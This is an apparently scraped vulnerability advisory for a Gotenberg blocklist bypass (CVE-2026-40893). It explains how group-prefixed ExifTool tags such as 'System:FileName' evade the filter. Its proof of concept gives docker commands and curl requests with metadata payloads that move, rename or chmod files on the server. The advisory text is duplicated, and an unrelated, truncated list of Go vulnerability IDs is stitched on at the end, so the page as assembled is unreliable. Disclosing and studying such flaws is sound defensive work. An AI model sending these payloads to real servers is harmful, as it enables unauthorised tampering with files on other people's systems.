CVE-2026-40893

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. This allows remote attackers to move, rename, and change permissions for arbitrary files. This vulnerability is fixed in 8.31.0.

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. This allows remote attackers to move, rename, and change permissions for arbitrary files. This vulnerability is fixed in 8.31.0.

Summary

Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — System:FileName — which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.

This bypasses the fix from GHSA-qmwh-9m9c-h36m.

Details

Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John.

That's exactly what happens here:

The blocklist (exiftool.go line 275-280) blocks these tag names:

FileName
Directory
HardLink
SymLink

The check (exiftool.go line 295-301) compares what the user sent against this list:

if strings.EqualFold(key, tag) {   // is "System:FileName" equal to "FileName"?
    delete(metadata, key)            // no — so it's NOT deleted
}

System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.

But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix — like a folder name before the tag. System:FileName and FileName both mean "rename this file." The ExifTool docs say: "A tag name may include leading group names separated by colons."

Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:

var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
//                                                    ^ colon is allowed

So the full chain is:

1. Attacker sends System:FileName → passes the regex (colon is allowed)
2. System:FileName → passes the blocklist (it's not equal to FileName)
3. ExifTool receives System:FileName → treats it as FileName → renames the file

Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.

PoC

Setup — start Gotenberg with default settings:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Create a folder inside the container where we'll move the file to:

docker exec gotenberg-poc mkdir -p /tmp/evil

Send the attack — one curl command:

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F '[email protected]' \
  -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'

This returns HTTP 404 because the file got moved before the server could return it.

Check that the file actually moved:

docker exec gotenberg-poc ls -la /tmp/evil/

Result:

-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf

The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.

Proof that the existing blocklist works for bare names (control test):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F '[email protected]' \
  -F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'

This returns HTTP 500 — the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.

Other ways to exploit the same bug:

• system:filename (lowercase) — also works because ExifTool is case-insensitive
• system:directory — moves the file to any writable folder
• FilePermissions…

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. This allows remote attackers to move, rename, and change permissions for arbitrary files. This vulnerability is fixed in 8.31.0.

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. This allows remote attackers to move, rename, and change permissions for arbitrary files. This vulnerability is fixed in 8.31.0.

Summary

Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — System:FileName — which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.

This bypasses the fix from GHSA-qmwh-9m9c-h36m.

Details

Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John.

That's exactly what happens here:

The blocklist (exiftool.go line 275-280) blocks these tag names:

FileName
Directory
HardLink
SymLink

The check (exiftool.go line 295-301) compares what the user sent against this list:

if strings.EqualFold(key, tag) {   // is "System:FileName" equal to "FileName"?
    delete(metadata, key)            // no — so it's NOT deleted
}

System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.

But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix — like a folder name before the tag. System:FileName and FileName both mean "rename this file." The ExifTool docs say: "A tag name may include leading group names separated by colons."

Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:

var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
//                                                    ^ colon is allowed

So the full chain is:

1. Attacker sends System:FileName → passes the regex (colon is allowed)
2. System:FileName → passes the blocklist (it's not equal to FileName)
3. ExifTool receives System:FileName → treats it as FileName → renames the file

Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.

PoC

Setup — start Gotenberg with default settings:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Create a folder inside the container where we'll move the file to:

docker exec gotenberg-poc mkdir -p /tmp/evil

Send the attack — one curl command:

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F '[email protected]' \
  -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'

This returns HTTP 404 because the file got moved before the server could return it.

Check that the file actually moved:

docker exec gotenberg-poc ls -la /tmp/evil/

Result:

-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf

The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.

Proof that the existing blocklist works for bare names (control test):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F '[email protected]' \
  -F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'

This returns HTTP 500 — the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.

Other ways to exploit the same bug:

• system:filename (lowercase) — also works because ExifTool is case-insensitive
• system:directory — moves the file to any writable folder
• FilePermissions…

Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move in github.com/gotenberg/gotenberg

This update for govulncheck-vulndb fixes the following issues:

• Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

• GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
• GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
• GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
• GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
• GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
• GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
• GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
• GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
• GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
• GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
• GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
• GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
• GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
• GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
• GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
• GO-2026-5933 GHSA-3g4q-2f67-2gvh
• GO-2026-5934 GHSA-59qp-cfj3-rp64
• GO-2026-5935 GHSA-7856-g3gv-9wq8
• GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
• GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
• GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
• GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
• GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
• GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
• GO-2026-5942 CVE-2026-46600
• GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
• GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
• GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
• GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
• GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
• GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
• GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
• GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
• GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
• GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
• GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
• GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
• GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
• GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
• GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
• GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
• GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
• GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
• GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
• GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
• GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
• GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
• GO-2026-5969 GHSA-g936-7jqj-mwv8
• GO-2026-5970 CVE-2026-56852
• GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
• GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
• GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
• GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
• GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
• GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
• GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
• GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
• GO-2026-5981 GHSA-mqxv-9rm6-w8qc
• GO-2026-5982 GHSA-pqg7-v6wh-3pfp
• GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
• GO-2026-5985 GHSA-7rx3-5wx3-5v76
• GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
• GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
• GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
• GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
• GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
• GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
• GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
• GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
• GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
• GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
• GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
• GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
• GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
• GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
• GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
• GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…